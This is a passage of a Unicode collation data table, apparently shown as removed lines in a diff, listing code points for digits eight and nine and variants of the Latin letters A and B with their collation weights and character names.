-A908  ; [.1BC0.0020.0002] # KAYAH LI DIGIT EIGHT
-A9D8  ; [.1BC0.0020.0002] # JAVANESE DIGIT EIGHT
-A9F8  ; [.1BC0.0020.0002] # MYANMAR TAI LAING DIGIT EIGHT
-AA58  ; [.1BC0.0020.0002] # CHAM DIGIT EIGHT
-ABF8  ; [.1BC0.0020.0002] # MEETEI MAYEK DIGIT EIGHT
-1010E ; [.1BC0.0020.0002] # AEGEAN NUMBER EIGHT
-102E8 ; [.1BC0.0020.0002] # COPTIC EPACT DIGIT EIGHT
-104A8 ; [.1BC0.0020.0002] # OSMANYA DIGIT EIGHT
-109C7 ; [.1BC0.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT
-10E67 ; [.1BC0.0020.0002] # RUMI DIGIT EIGHT
-11059 ; [.1BC0.0020.0002] # BRAHMI NUMBER EIGHT
-1106E ; [.1BC0.0020.0002] # BRAHMI DIGIT EIGHT
-110F8 ; [.1BC0.0020.0002] # SORA SOMPENG DIGIT EIGHT
-1113E ; [.1BC0.0020.0002] # CHAKMA DIGIT EIGHT
-111D8 ; [.1BC0.0020.0002] # SHARADA DIGIT EIGHT
-111E8 ; [.1BC0.0020.0002] # SINHALA ARCHAIC DIGIT EIGHT
-112F8 ; [.1BC0.0020.0002] # KHUDAWADI DIGIT EIGHT
-114D8 ; [.1BC0.0020.0002] # TIRHUTA DIGIT EIGHT
-11658 ; [.1BC0.0020.0002] # MODI DIGIT EIGHT
-116C8 ; [.1BC0.0020.0002] # TAKRI DIGIT EIGHT
-11738 ; [.1BC0.0020.0002] # AHOM DIGIT EIGHT
-118E8 ; [.1BC0.0020.0002] # WARANG CITI DIGIT EIGHT
-12406 ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT ASH
-1240D ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT DISH
-12413 ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT U
-1241C ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT GESH2
-1242A ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT SHAR2
-12444 ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT VARIANT FORM USSU
-12445 ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT VARIANT FORM USSU3
-1246D ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT U VARIANT FORM
-16A68 ; [.1BC0.0020.0002] # MRO DIGIT EIGHT
-16B58 ; [.1BC0.0020.0002] # PAHAWH HMONG DIGIT EIGHT
-1D367 ; [.1BC0.0020.0002] # COUNTING ROD UNIT DIGIT EIGHT
-1E8CE ; [.1BC0.0020.0002] # MENDE KIKAKUI DIGIT EIGHT
-FF18  ; [.1BC0.0020.0003] # FULLWIDTH DIGIT EIGHT
-0F31  ; [.1BC0.0020.0004] # TIBETAN DIGIT HALF EIGHT
-247B  ; [*0310.0020.0004][.1BC0.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT EIGHT
-248F  ; [.1BC0.0020.0004][*0274.0020.0004] # DIGIT EIGHT FULL STOP
-1F109 ; [.1BC0.0020.0004][*0221.0020.0004] # DIGIT EIGHT COMMA
-1D7D6 ; [.1BC0.0020.0005] # MATHEMATICAL BOLD DIGIT EIGHT
-1D7E0 ; [.1BC0.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT EIGHT
-1D7EA ; [.1BC0.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT EIGHT
-1D7F4 ; [.1BC0.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT EIGHT
-1D7FE ; [.1BC0.0020.0005] # MATHEMATICAL MONOSPACE DIGIT EIGHT
-2467  ; [.1BC0.0020.0006] # CIRCLED DIGIT EIGHT
-24FC  ; [.1BC0.0020.0006] # DOUBLE CIRCLED DIGIT EIGHT
-277D  ; [.1BC0.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT EIGHT
-2787  ; [.1BC0.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT EIGHT
-2791  ; [.1BC0.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT EIGHT
-2078  ; [.1BC0.0020.0014] # SUPERSCRIPT EIGHT
-2088  ; [.1BC0.0020.0015] # SUBSCRIPT EIGHT
-324F  ; [.1BC0.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER EIGHTY ON BLACK SQUARE
-33E7  ; [.1BC0.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
-32C7  ; [.1BC0.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
-3360  ; [.1BC0.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
-0039  ; [.1BC1.0020.0002] # DIGIT NINE
-0669  ; [.1BC1.0020.0002] # ARABIC-INDIC DIGIT NINE
-06F9  ; [.1BC1.0020.0002] # EXTENDED ARABIC-INDIC DIGIT NINE
-07C9  ; [.1BC1.0020.0002] # NKO DIGIT NINE
-096F  ; [.1BC1.0020.0002] # DEVANAGARI DIGIT NINE
-09EF  ; [.1BC1.0020.0002] # BENGALI DIGIT NINE
-0A6F  ; [.1BC1.0020.0002] # GURMUKHI DIGIT NINE
-0AEF  ; [.1BC1.0020.0002] # GUJARATI DIGIT NINE
-0B6F  ; [.1BC1.0020.0002] # ORIYA DIGIT NINE
-0BEF  ; [.1BC1.0020.0002] # TAMIL DIGIT NINE
-0C6F  ; [.1BC1.0020.0002] # TELUGU DIGIT NINE
-0CEF  ; [.1BC1.0020.0002] # KANNADA DIGIT NINE
-0D6F  ; [.1BC1.0020.0002] # MALAYALAM DIGIT NINE
-0DEF  ; [.1BC1.0020.0002] # SINHALA LITH DIGIT NINE
-0E59  ; [.1BC1.0020.0002] # THAI DIGIT NINE
-0ED9  ; [.1BC1.0020.0002] # LAO DIGIT NINE
-0F29  ; [.1BC1.0020.0002] # TIBETAN DIGIT NINE
-1049  ; [.1BC1.0020.0002] # MYANMAR DIGIT NINE
-1099  ; [.1BC1.0020.0002] # MYANMAR SHAN DIGIT NINE
-1371  ; [.1BC1.0020.0002] # ETHIOPIC DIGIT NINE
-17E9  ; [.1BC1.0020.0002] # KHMER DIGIT NINE
-17F9  ; [.1BC1.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-BUON
-1819  ; [.1BC1.0020.0002] # MONGOLIAN DIGIT NINE
-194F  ; [.1BC1.0020.0002] # LIMBU DIGIT NINE
-19D9  ; [.1BC1.0020.0002] # NEW TAI LUE DIGIT NINE
-1A89  ; [.1BC1.0020.0002] # TAI THAM HORA DIGIT NINE
-1A99  ; [.1BC1.0020.0002] # TAI THAM THAM DIGIT NINE
-1B59  ; [.1BC1.0020.0002] # BALINESE DIGIT NINE
-1BB9  ; [.1BC1.0020.0002] # SUNDANESE DIGIT NINE
-1C49  ; [.1BC1.0020.0002] # LEPCHA DIGIT NINE
-1C59  ; [.1BC1.0020.0002] # OL CHIKI DIGIT NINE
-3029  ; [.1BC1.0020.0002] # HANGZHOU NUMERAL NINE
-A629  ; [.1BC1.0020.0002] # VAI DIGIT NINE
-A8D9  ; [.1BC1.0020.0002] # SAURASHTRA DIGIT NINE
-A909  ; [.1BC1.0020.0002] # KAYAH LI DIGIT NINE
-A9D9  ; [.1BC1.0020.0002] # JAVANESE DIGIT NINE
-A9F9  ; [.1BC1.0020.0002] # MYANMAR TAI LAING DIGIT NINE
-AA59  ; [.1BC1.0020.0002] # CHAM DIGIT NINE
-ABF9  ; [.1BC1.0020.0002] # MEETEI MAYEK DIGIT NINE
-1010F ; [.1BC1.0020.0002] # AEGEAN NUMBER NINE
-102E9 ; [.1BC1.0020.0002] # COPTIC EPACT DIGIT NINE
-104A9 ; [.1BC1.0020.0002] # OSMANYA DIGIT NINE
-109C8 ; [.1BC1.0020.0002] # MEROITIC CURSIVE NUMBER NINE
-10E68 ; [.1BC1.0020.0002] # RUMI DIGIT NINE
-1105A ; [.1BC1.0020.0002] # BRAHMI NUMBER NINE
-1106F ; [.1BC1.0020.0002] # BRAHMI DIGIT NINE
-110F9 ; [.1BC1.0020.0002] # SORA SOMPENG DIGIT NINE
-1113F ; [.1BC1.0020.0002] # CHAKMA DIGIT NINE
-111D9 ; [.1BC1.0020.0002] # SHARADA DIGIT NINE
-111E9 ; [.1BC1.0020.0002] # SINHALA ARCHAIC DIGIT NINE
-112F9 ; [.1BC1.0020.0002] # KHUDAWADI DIGIT NINE
-114D9 ; [.1BC1.0020.0002] # TIRHUTA DIGIT NINE
-11659 ; [.1BC1.0020.0002] # MODI DIGIT NINE
-116C9 ; [.1BC1.0020.0002] # TAKRI DIGIT NINE
-11739 ; [.1BC1.0020.0002] # AHOM DIGIT NINE
-118E9 ; [.1BC1.0020.0002] # WARANG CITI DIGIT NINE
-12407 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE ASH
-1240E ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE DISH
-12414 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE U
-1241D ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE GESH2
-1242B ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE SHAR2
-12446 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU
-12447 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU3
-12448 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU4
-12449 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU A
-1246E ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
-16A69 ; [.1BC1.0020.0002] # MRO DIGIT NINE
-16B59 ; [.1BC1.0020.0002] # PAHAWH HMONG DIGIT NINE
-1D368 ; [.1BC1.0020.0002] # COUNTING ROD UNIT DIGIT NINE
-1E8CF ; [.1BC1.0020.0002] # MENDE KIKAKUI DIGIT NINE
-FF19  ; [.1BC1.0020.0003] # FULLWIDTH DIGIT NINE
-0F32  ; [.1BC1.0020.0004] # TIBETAN DIGIT HALF NINE
-247C  ; [*0310.0020.0004][.1BC1.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT NINE
-2490  ; [.1BC1.0020.0004][*0274.0020.0004] # DIGIT NINE FULL STOP
-1F10A ; [.1BC1.0020.0004][*0221.0020.0004] # DIGIT NINE COMMA
-1D7D7 ; [.1BC1.0020.0005] # MATHEMATICAL BOLD DIGIT NINE
-1D7E1 ; [.1BC1.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT NINE
-1D7EB ; [.1BC1.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT NINE
-1D7F5 ; [.1BC1.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT NINE
-1D7FF ; [.1BC1.0020.0005] # MATHEMATICAL MONOSPACE DIGIT NINE
-2468  ; [.1BC1.0020.0006] # CIRCLED DIGIT NINE
-24FD  ; [.1BC1.0020.0006] # DOUBLE CIRCLED DIGIT NINE
-277E  ; [.1BC1.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT NINE
-2788  ; [.1BC1.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT NINE
-2792  ; [.1BC1.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT NINE
-2079  ; [.1BC1.0020.0014] # SUPERSCRIPT NINE
-2089  ; [.1BC1.0020.0015] # SUBSCRIPT NINE
-33E8  ; [.1BC1.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
-32C8  ; [.1BC1.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
-3361  ; [.1BC1.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
-0061  ; [.1BC2.0020.0002] # LATIN SMALL LETTER A
-FF41  ; [.1BC2.0020.0003] # FULLWIDTH LATIN SMALL LETTER A
-0363  ; [.1BC2.0020.0004] # COMBINING LATIN SMALL LETTER A
-249C  ; [*0310.0020.0004][.1BC2.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER A
-1D41A ; [.1BC2.0020.0005] # MATHEMATICAL BOLD SMALL A
-1D44E ; [.1BC2.0020.0005] # MATHEMATICAL ITALIC SMALL A
-1D482 ; [.1BC2.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL A
-1D4B6 ; [.1BC2.0020.0005] # MATHEMATICAL SCRIPT SMALL A
-1D4EA ; [.1BC2.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL A
-1D51E ; [.1BC2.0020.0005] # MATHEMATICAL FRAKTUR SMALL A
-1D552 ; [.1BC2.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL A
-1D586 ; [.1BC2.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL A
-1D5BA ; [.1BC2.0020.0005] # MATHEMATICAL SANS-SERIF SMALL A
-1D5EE ; [.1BC2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL A
-1D622 ; [.1BC2.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL A
-1D656 ; [.1BC2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL A
-1D68A ; [.1BC2.0020.0005] # MATHEMATICAL MONOSPACE SMALL A
-24D0  ; [.1BC2.0020.0006] # CIRCLED LATIN SMALL LETTER A
-0041  ; [.1BC2.0020.0008] # LATIN CAPITAL LETTER A
-FF21  ; [.1BC2.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER A
-1F110 ; [*0310.0020.0004][.1BC2.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER A
-1D400 ; [.1BC2.0020.000B] # MATHEMATICAL BOLD CAPITAL A
-1D434 ; [.1BC2.0020.000B] # MATHEMATICAL ITALIC CAPITAL A
-1D468 ; [.1BC2.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL A
-1D49C ; [.1BC2.0020.000B] # MATHEMATICAL SCRIPT CAPITAL A
-1D4D0 ; [.1BC2.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL A
-1D504 ; [.1BC2.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL A
-1D538 ; [.1BC2.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL A
-1D56C ; [.1BC2.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL A
-1D5A0 ; [.1BC2.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL A
-1D5D4 ; [.1BC2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL A
-1D608 ; [.1BC2.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL A
-1D63C ; [.1BC2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL A
-1D670 ; [.1BC2.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL A
-24B6  ; [.1BC2.0020.000C] # CIRCLED LATIN CAPITAL LETTER A
-1F150 ; [.1BC2.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER A
-00AA  ; [.1BC2.0020.0014] # FEMININE ORDINAL INDICATOR
-1D43  ; [.1BC2.0020.0014] # MODIFIER LETTER SMALL A
-2090  ; [.1BC2.0020.0015] # LATIN SUBSCRIPT SMALL LETTER A
-1D2C  ; [.1BC2.0020.001D] # MODIFIER LETTER CAPITAL A
-1F130 ; [.1BC2.0020.001D] # SQUARED LATIN CAPITAL LETTER A
-1F170 ; [.1BC2.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER A
-00E1  ; [.1BC2.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1  ; [.1BC2.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH ACUTE
-00E0  ; [.1BC2.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH GRAVE
-00C0  ; [.1BC2.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH GRAVE
-0103  ; [.1BC2.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER A WITH BREVE
-0102  ; [.1BC2.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER A WITH BREVE
-1EAF  ; [.1BC2.0020.0002][.0000.0026.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH BREVE AND ACUTE
-1EAE  ; [.1BC2.0020.0008][.0000.0026.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
-1EB1  ; [.1BC2.0020.0002][.0000.0026.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE
-1EB0  ; [.1BC2.0020.0008][.0000.0026.0002][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
-1EB5  ; [.1BC2.0020.0002][.0000.0026.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH BREVE AND TILDE
-1EB4  ; [.1BC2.0020.0008][.0000.0026.0002][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE
-1EB3  ; [.1BC2.0020.0002][.0000.0026.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
-1EB2  ; [.1BC2.0020.0008][.0000.0026.0002][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
-00E2  ; [.1BC2.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
-00C2  ; [.1BC2.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
-1EA5  ; [.1BC2.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
-1EA4  ; [.1BC2.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
-1EA7  ; [.1BC2.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
-1EA6  ; [.1BC2.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
-1EAB  ; [.1BC2.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
-1EAA  ; [.1BC2.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
-1EA9  ; [.1BC2.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
-1EA8  ; [.1BC2.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
-01CE  ; [.1BC2.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER A WITH CARON
-01CD  ; [.1BC2.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER A WITH CARON
-00E5  ; [.1BC2.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5  ; [.1BC2.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B  ; [.1BC2.0020.0008][.0000.0029.0002] # ANGSTROM SIGN
-01FB  ; [.1BC2.0020.0002][.0000.0029.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA  ; [.1BC2.0020.0008][.0000.0029.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-00E4  ; [.1BC2.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-1DF2  ; [.1BC2.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER A WITH DIAERESIS
-A79B  ; [.1BC2.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK AE
-00C4  ; [.1BC2.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS
-A79A  ; [.1BC2.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK AE
-01DF  ; [.1BC2.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE  ; [.1BC2.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00E3  ; [.1BC2.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH TILDE
-00C3  ; [.1BC2.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH TILDE
-0227  ; [.1BC2.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER A WITH DOT ABOVE
-0226  ; [.1BC2.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER A WITH DOT ABOVE
-01E1  ; [.1BC2.0020.0002][.0000.002E.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON
-01E0  ; [.1BC2.0020.0008][.0000.002E.0002][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON
-0105  ; [.1BC2.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER A WITH OGONEK
-0104  ; [.1BC2.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER A WITH OGONEK
-0101  ; [.1BC2.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH MACRON
-0100  ; [.1BC2.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH MACRON
-1EA3  ; [.1BC2.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH HOOK ABOVE
-1EA2  ; [.1BC2.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH HOOK ABOVE
-0201  ; [.1BC2.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER A WITH DOUBLE GRAVE
-0200  ; [.1BC2.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER A WITH DOUBLE GRAVE
-0203  ; [.1BC2.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER A WITH INVERTED BREVE
-0202  ; [.1BC2.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER A WITH INVERTED BREVE
-1EA1  ; [.1BC2.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH DOT BELOW
-1EA0  ; [.1BC2.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH DOT BELOW
-1EB7  ; [.1BC2.0020.0002][.0000.0042.0002][.0000.0026.0002] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
-1EB6  ; [.1BC2.0020.0008][.0000.0042.0002][.0000.0026.0002] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
-1EAD  ; [.1BC2.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
-1EAC  ; [.1BC2.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
-1E01  ; [.1BC2.0020.0002][.0000.0044.0002] # LATIN SMALL LETTER A WITH RING BELOW
-1E00  ; [.1BC2.0020.0008][.0000.0044.0002] # LATIN CAPITAL LETTER A WITH RING BELOW
-1DD3  ; [.1BC2.0020.0004][.0000.010B.0004] # COMBINING LATIN SMALL LETTER FLATTENED OPEN A ABOVE
-A733  ; [.1BC2.0020.0004][.1BC2.0020.0004] # LATIN SMALL LETTER AA
-A732  ; [.1BC2.0020.000A][.1BC2.0020.000A] # LATIN CAPITAL LETTER AA
-1F18E ; [.1BC2.0020.001D][.1BDB.0020.001D] # NEGATIVE SQUARED AB
-2100  ; [.1BC2.0020.0004][*038D.0020.0004][.1BF5.0020.0004] # ACCOUNT OF
-00E6  ; [.1BC2.0020.0004][.0000.010B.0004][.1C25.0020.0004] # LATIN SMALL LETTER AE
-1DD4  ; [.1BC2.0020.0004][.0000.010B.0004][.1C25.0020.0004] # COMBINING LATIN SMALL LETTER AE
-00C6  ; [.1BC2.0020.000A][.0000.010B.0004][.1C25.0020.000A] # LATIN CAPITAL LETTER AE
-1D2D  ; [.1BC2.0020.0014][.0000.010B.0014][.1C25.0020.0014] # MODIFIER LETTER CAPITAL AE
-01FD  ; [.1BC2.0020.0004][.0000.010B.0004][.1C25.0020.0004][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC  ; [.1BC2.0020.000A][.0000.010B.0004][.1C25.0020.000A][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3  ; [.1BC2.0020.0004][.0000.010B.0004][.1C25.0020.0004][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2  ; [.1BC2.0020.000A][.0000.010B.0004][.1C25.0020.000A][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-33C2  ; [.1BC2.0020.001C][*0274.0020.001C][.1D25.0020.001C][*0274.0020.001C] # SQUARE AM
-33DF  ; [.1BC2.0020.001D][*0605.0020.001C][.1D25.0020.001C] # SQUARE A OVER M
-1DD5  ; [.1BC2.0020.0004][.1D58.0020.0004] # COMBINING LATIN SMALL LETTER AO
-A735  ; [.1BC2.0020.0004][.1D58.0020.0004] # LATIN SMALL LETTER AO
-A734  ; [.1BC2.0020.000A][.1D58.0020.000A] # LATIN CAPITAL LETTER AO
-2101  ; [.1BC2.0020.0004][*038D.0020.0004][.1DEC.0020.0004] # ADDRESSED TO THE SUBJECT
-214D  ; [.1BC2.0020.000A][*038D.0020.0004][.1DEC.0020.000A] # AKTIESELSKAB
-A737  ; [.1BC2.0020.0004][.1E30.0020.0004] # LATIN SMALL LETTER AU
-A736  ; [.1BC2.0020.000A][.1E30.0020.000A] # LATIN CAPITAL LETTER AU
-3373  ; [.1BC2.0020.001D][.1E30.0020.001D] # SQUARE AU
-1DD6  ; [.1BC2.0020.0004][.1E5E.0020.0004] # COMBINING LATIN SMALL LETTER AV
-A739  ; [.1BC2.0020.0004][.1E5E.0020.0004] # LATIN SMALL LETTER AV
-A738  ; [.1BC2.0020.000A][.1E5E.0020.000A] # LATIN CAPITAL LETTER AV
-A73B  ; [.1BC2.0020.0004][.0000.010B.0004][.1E5E.0020.0004] # LATIN SMALL LETTER AV WITH HORIZONTAL BAR
-A73A  ; [.1BC2.0020.000A][.0000.010B.0004][.1E5E.0020.000A] # LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR
-A73D  ; [.1BC2.0020.0004][.1E86.0020.0004] # LATIN SMALL LETTER AY
-A73C  ; [.1BC2.0020.000A][.1E86.0020.000A] # LATIN CAPITAL LETTER AY
-1E9A  ; [.1BC2.0020.0004][.1EFB.0020.0004] # LATIN SMALL LETTER A WITH RIGHT HALF RING
-1D00  ; [.1BC6.0020.0002] # LATIN LETTER SMALL CAPITAL A
-2C65  ; [.1BC7.0020.0002] # LATIN SMALL LETTER A WITH STROKE
-023A  ; [.1BC7.0020.0008] # LATIN CAPITAL LETTER A WITH STROKE
-1D8F  ; [.1BC8.0020.0002] # LATIN SMALL LETTER A WITH RETROFLEX HOOK
-1D01  ; [.1BC9.0020.0002] # LATIN LETTER SMALL CAPITAL AE
-1D02  ; [.1BCA.0020.0002] # LATIN SMALL LETTER TURNED AE
-1D46  ; [.1BCA.0020.0014] # MODIFIER LETTER SMALL TURNED AE
-AB31  ; [.1BCB.0020.0002] # LATIN SMALL LETTER A REVERSED-SCHWA
-0250  ; [.1BCC.0020.0002] # LATIN SMALL LETTER TURNED A
-2C6F  ; [.1BCC.0020.0008] # LATIN CAPITAL LETTER TURNED A
-1D44  ; [.1BCC.0020.0014] # MODIFIER LETTER SMALL TURNED A
-0251  ; [.1BD0.0020.0002] # LATIN SMALL LETTER ALPHA
-1DE7  ; [.1BD0.0020.0004] # COMBINING LATIN SMALL LETTER ALPHA
-2C6D  ; [.1BD0.0020.0008] # LATIN CAPITAL LETTER ALPHA
-1D45  ; [.1BD0.0020.0014] # MODIFIER LETTER SMALL ALPHA
-AB30  ; [.1BD4.0020.0002] # LATIN SMALL LETTER BARRED ALPHA
-1D90  ; [.1BD5.0020.0002] # LATIN SMALL LETTER ALPHA WITH RETROFLEX HOOK
-0252  ; [.1BD6.0020.0002] # LATIN SMALL LETTER TURNED ALPHA
-2C70  ; [.1BD6.0020.0008] # LATIN CAPITAL LETTER TURNED ALPHA
-1D9B  ; [.1BD6.0020.0014] # MODIFIER LETTER SMALL TURNED ALPHA
-AB64  ; [.1BDA.0020.0002] # LATIN SMALL LETTER INVERTED ALPHA
-0062  ; [.1BDB.0020.0002] # LATIN SMALL LETTER B
-FF42  ; [.1BDB.0020.0003] # FULLWIDTH LATIN SMALL LETTER B
-1DE8  ; [.1BDB.0020.0004] # COMBINING LATIN SMALL LETTER B
-249D  ; [*0310.0020.0004][.1BDB.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER B
-1D41B ; [.1BDB.0020.0005] # MATHEMATICAL BOLD SMALL B
